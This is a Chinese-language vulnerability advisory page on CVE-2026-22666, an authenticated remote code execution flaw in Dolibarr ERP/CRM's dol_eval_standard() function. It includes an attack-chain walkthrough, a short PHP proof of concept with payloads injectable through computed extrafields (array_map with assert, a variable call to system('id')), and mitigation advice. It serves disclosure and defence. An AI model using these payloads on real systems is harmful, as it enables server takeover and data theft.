IPBUF安全漏洞报告
English
CVE-2026-22666 CVSS 7.2 高危

CVE-2026-22666 Dolibarr ERP/CRM 远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-22666
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Dolibarr ERP/CRM

相关标签

RCE远程代码执行DolibarrPHPCVE-2026-22666Authenticated RCE

漏洞概述

Dolibarr ERP/CRM 23.0.2 之前的版本中存在一个经过身份验证的远程代码执行漏洞。该漏洞源于 `dol_eval_standard()` 函数在白名单模式下未能正确应用禁止字符串检查,且无法检测 PHP 动态可调用语法。拥有管理员权限的攻击者可以利用此漏洞,通过计算额外的字段或其他评估路径注入恶意载荷,绕过验证机制并最终通过 `eval()` 函数执行任意系统命令。

技术细节

该漏洞的核心在于 `dol_eval_standard()` 函数对用户输入的过滤逻辑存在缺陷。虽然该函数设计了白名单模式来限制危险函数,但在处理特定输入时,未能有效拦截禁止的字符串。更关键的是,该函数未能识别 PHP 的动态可调用语法(例如使用 `array_map` 配合特定函数名或变量函数调用)。攻击者首先需要获取具有管理员权限的账户,随后利用 Dolibarr 中的“额外字段”功能或其他允许动态计算的评估路径。通过精心构造恶意的 PHP 动态可调用语法作为字段的值,攻击者可以成功绕过现有的安全检查机制。当系统后台调用 `dol_eval_standard()` 处理这些字段时,恶意代码被传入 `eval()` 函数执行,从而导致攻击者在服务器端执行任意系统命令,完全控制服务器。

攻击链分析

STEP 1
1. 获取权限
攻击者通过钓鱼、暴力破解或其他手段获取 Dolibarr 系统的管理员账户凭证。
STEP 2
2. 寻找注入点
管理员登录后台,访问“额外字段”配置页面,找到允许通过 `dol_eval_standard()` 进行动态计算的配置项。
STEP 3
3. 构造并注入 Payload
攻击者构造包含 PHP 动态可调用语法的恶意代码(如利用 `array_map` 或变量函数),将其注入到计算字段中。由于代码未检测动态语法,绕过了白名单过滤。
STEP 4
4. 触发代码执行
当系统访问或渲染该包含恶意字段的页面/数据时,调用 `eval()` 函数执行注入的代码,导致服务器执行任意命令。
STEP 5
5. 建立立足点
攻击者利用执行的命令安装后门、窃取数据或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /* * PoC for CVE-2026-22666 * Demonstrates bypassing dol_eval_standard using PHP dynamic callable syntax. * Requires administrator privileges to inject payload into computed extrafields. */ // The vulnerable function dol_eval_standard() fails to block dynamic callables. // Attackers can inject payloads into extrafields that are eventually evaluated. // Example Payload 1: Using array_map to obfuscate the call // This bypasses simple string checks for 'eval' or 'system' by using a callback. $payload = "array_map('assert', array('phpinfo();'))"; // Example Payload 2: Dynamic function call via variable // This bypasses whitelist checks that look for direct function names. $func = 'system'; $cmd = 'id'; $payload_dynamic = "$func('$cmd')"; // In the exploit scenario, these payloads would be sent via POST request // to the endpoint handling extrafields configuration (e.g., /admin/extrafields.php). // When the extrafield is rendered or processed, dol_eval_standard runs eval($payload). echo "Potential Malicious Payload for Extrafield:\n"; echo $payload . "\n"; echo "\nOr Dynamic Syntax:\n"; echo $payload_dynamic . "\n"; ?>

影响范围

Dolibarr ERP/CRM < 23.0.2

防御指南

临时缓解措施
如果无法立即升级,建议严格限制管理员账户的访问来源 IP,并检查系统日志中是否存在对“额外字段”的可疑修改。可以在 Web 服务器层面(如 Nginx 或 Apache)临时限制对 `/admin/extrafields.php` 等配置页面的访问,直到应用补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表